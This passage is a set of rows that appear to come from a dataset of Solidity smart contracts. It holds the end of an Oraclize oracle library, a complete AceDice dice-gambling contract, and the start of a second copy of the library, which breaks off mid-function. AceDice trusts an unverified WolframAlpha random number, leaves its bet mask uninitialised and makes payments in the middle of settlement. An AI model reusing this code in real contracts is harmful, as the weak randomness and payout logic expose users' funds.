"L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){ bool match_ = true; if (prefix.length != n_random_bytes) throw; for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ delete oraclize_randomDS_args[queryId]; } else return false; bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) { uint minLength = length + toOffset; if (to.length < minLength) { throw; } uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } function safeMemoryCleaner() internal constant { assembly { let fmem := mload(0x40) codecopy(fmem, codesize, sub(msize, fmem)) } } } contract AceDice is usingOraclize { uint constant HOUSE_EDGE_PERCENT = 2; uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0004 ether; uint constant MIN_JACKPOT_BET = 0.1 ether; uint constant JACKPOT_MODULO = 1000; uint constant JACKPOT_FEE = 0.001 ether; uint constant MIN_BET = 0.01 ether; uint constant MAX_AMOUNT = 300000 ether; uint constant MAX_MASK_MODULO = 40; uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO; uint constant BET_EXPIRATION_BLOCKS = 250; address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public owner; address private nextOwner; uint public maxProfit; address public secretSigner; uint128 public jackpotSize; uint public todaysRewardSize; uint128 public lockedInBets; struct Bet { uint amount; uint8 rollUnder; uint40 placeBlockNumber; uint40 mask; address gambler; address inviter; } struct Profile{ uint avatarIndex; string nickName; } mapping (bytes32 => Bet) bets; mapping (address => uint) accuBetAmount; mapping (address => Profile) profiles; address public croupier; event FailedPayment(address indexed beneficiary, uint amount); event Payment(address indexed beneficiary, uint amount, uint dice, uint rollUnder, uint betAmount); event JackpotPayment(address indexed beneficiary, uint amount, uint dice, uint rollUnder, uint betAmount); event VIPPayback(address indexed beneficiary, uint amount); event Commit(bytes32 commit); event TodaysRankingPayment(address indexed beneficiary, uint amount); constructor () public { owner = msg.sender; secretSigner = DUMMY_ADDRESS; croupier = DUMMY_ADDRESS; oraclize_setNetwork(networkID_auto); oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); oraclize_setCustomGasPrice(20000000000 wei); } modifier onlyOwner { require (msg.sender == owner, "OnlyOwner methods called by non-owner."); _; } modifier onlyCroupier { require (msg.sender == croupier, "OnlyCroupier methods called by non-croupier."); _; } modifier onlyOraclize { if (msg.sender != oraclize_cbAddress()) throw; _; } function approveNextOwner(address _nextOwner) external onlyOwner { require (_nextOwner != owner, "Cannot approve current owner."); nextOwner = _nextOwner; } function acceptNextOwner() external { require (msg.sender == nextOwner, "Can only accept preapproved new owner."); owner = nextOwner; } function () public payable { } function setSecretSigner(address newSecretSigner) external onlyOwner { secretSigner = newSecretSigner; } function getSecretSigner() external onlyOwner view returns(address){ return secretSigner; } function setCroupier(address newCroupier) external onlyOwner { croupier = newCroupier; } function setMaxProfit(uint _maxProfit) public onlyOwner { require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number."); maxProfit = _maxProfit; } function increaseJackpot(uint increaseAmount) external onlyOwner { require (increaseAmount <= address(this).balance, "Increase amount larger than balance."); require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds."); jackpotSize += uint128(increaseAmount); } function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner { require (withdrawAmount <= address(this).balance, "Increase amount larger than balance."); require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds."); sendFunds(beneficiary, withdrawAmount, withdrawAmount, 0, 0, 0); } function kill() external onlyOwner { require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct."); selfdestruct(owner); } function placeBet(uint betMask) external payable { uint amount = msg.value; require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range."); uint mask; require (betMask > 2 && betMask <= 96, "High modulo range, betMask larger than modulo."); uint possibleWinAmount; uint jackpotFee; (possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, betMask); require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation. "); lockedInBets += uint128(possibleWinAmount); jackpotSize += uint128(jackpotFee); require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet."); bytes32 rngId = oraclize_query("WolframAlpha","random number between 1 and 1000"); emit Commit(rngId); Bet storage bet = bets[rngId]; bet.amount = amount; bet.rollUnder = uint8(betMask); bet.placeBlockNumber = uint40(block.number); bet.mask = uint40(mask); bet.gambler = msg.sender; uint accuAmount = accuBetAmount[msg.sender]; accuAmount = accuAmount + amount; accuBetAmount[msg.sender] = accuAmount; } function placeBetWithInviter(uint betMask, address inviter) external payable { uint amount = msg.value; require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range."); require (address(this) != inviter && inviter != address(0), "cannot invite myself"); uint mask; require (betMask > 2 && betMask <= 96, "High modulo range, betMask larger than modulo."); uint possibleWinAmount; uint jackpotFee; (possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, betMask); require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation. "); lockedInBets += uint128(possibleWinAmount); jackpotSize += uint128(jackpotFee); require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet."); bytes32 rngId = oraclize_query("WolframAlpha","random number between 1 and 1000"); emit Commit(rngId); Bet storage bet = bets[rngId]; bet.amount = amount; bet.rollUnder = uint8(betMask); bet.placeBlockNumber = uint40(block.number); bet.mask = uint40(mask); bet.gambler = msg.sender; bet.inviter = inviter; uint accuAmount = accuBetAmount[msg.sender]; accuAmount = accuAmount + amount; accuBetAmount[msg.sender] = accuAmount; } function __callback(bytes32 _rngId, string _result, bytes proof) onlyOraclize { Bet storage bet = bets[_rngId]; require (bet.gambler != address(0), "cannot find bet info..."); uint randomNumber = parseInt(_result); settleBetCommon(bet, randomNumber); } function settleBetCommon(Bet storage bet, uint randomNumber) private { uint amount = bet.amount; uint rollUnder = bet.rollUnder; address gambler = bet.gambler; require (amount != 0, "Bet should be in an 'active' state"); applyVIPLevel(gambler, amount); bet.amount = 0; uint diceWinAmount; uint _jackpotFee; (diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, rollUnder); uint diceWin = 0; uint jackpotWin = 0; uint dice = randomNumber / 10; if (dice < rollUnder) { diceWin = diceWinAmount; } lockedInBets -= uint128(diceWinAmount); if (amount >= MIN_JACKPOT_BET) { if (randomNumber == 0) { jackpotWin = jackpotSize; jackpotSize = 0; } } if (jackpotWin > 0) { emit JackpotPayment(gambler, jackpotWin, dice, rollUnder, amount); } if(bet.inviter != address(0)){ bet.inviter.transfer(amount * HOUSE_EDGE_PERCENT / 100 * 15 /100); } todaysRewardSize += amount * HOUSE_EDGE_PERCENT / 100 * 9 /100; sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin, dice, rollUnder, amount); } function applyVIPLevel(address gambler, uint amount) private { uint accuAmount = accuBetAmount[gambler]; uint rate; if(accuAmount >= 30 ether && accuAmount < 150 ether){ rate = 1; } else if(accuAmount >= 150 ether && accuAmount < 300 ether){ rate = 2; } else if(accuAmount >= 300 ether && accuAmount < 1500 ether){ rate = 4; } else if(accuAmount >= 1500 ether && accuAmount < 3000 ether){ rate = 6; } else if(accuAmount >= 3000 ether && accuAmount < 15000 ether){ rate = 8; } else if(accuAmount >= 15000 ether && accuAmount < 30000 ether){ rate = 10; } else if(accuAmount >= 30000 ether && accuAmount < 150000 ether){ rate = 12; } else if(accuAmount >= 150000 ether){ rate = 15; } else{ return; } uint vipPayback = amount * rate / 10000; if(gambler.send(vipPayback)){ emit VIPPayback(gambler, vipPayback); } } function getMyAccuAmount() external view returns (uint){ return accuBetAmount[msg.sender]; } function getDiceWinAmount(uint amount, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) { require (0 < rollUnder && rollUnder <= 100, "Win probability out of range."); jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0; uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100; if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) { houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT; } require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge."); winAmount = (amount - houseEdge - jackpotFee) * 100 / rollUnder; } function sendFunds(address beneficiary, uint amount, uint successLogAmount, uint dice, uint rollUnder, uint betAmount) private { if (beneficiary.send(amount)) { emit Payment(beneficiary, successLogAmount, dice, rollUnder, betAmount); } else { emit FailedPayment(beneficiary, amount); } } function thisBalance() public view returns(uint) { return address(this).balance; } function setAvatarIndex(uint index) external{ require (index >=0 && index <= 100, "avatar index should be in range"); Profile storage profile = profiles[msg.sender]; profile.avatarIndex = index; } function setNickName(string nickName) external{ Profile storage profile = profiles[msg.sender]; profile.nickName = nickName; } function getProfile() external view returns(uint, string){ Profile storage profile = profiles[msg.sender]; return (profile.avatarIndex, profile.nickName); } function payTodayReward(address to, uint rate) external onlyOwner { uint prize = todaysRewardSize * rate / 10000; todaysRewardSize = todaysRewardSize - prize; if(to.send(prize)){ emit TodaysRankingPayment(to, prize); } } }
0
1,264
pragma solidity ^0.4.18; contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id); function getPrice(string _datasource) public returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function randomDS_getSessionPubKeyHash() external constant returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() public returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ return oraclize_setNetwork(); networkID; } function oraclize_setNetwork() internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) public { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) public { return; myid; result; proof; } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return 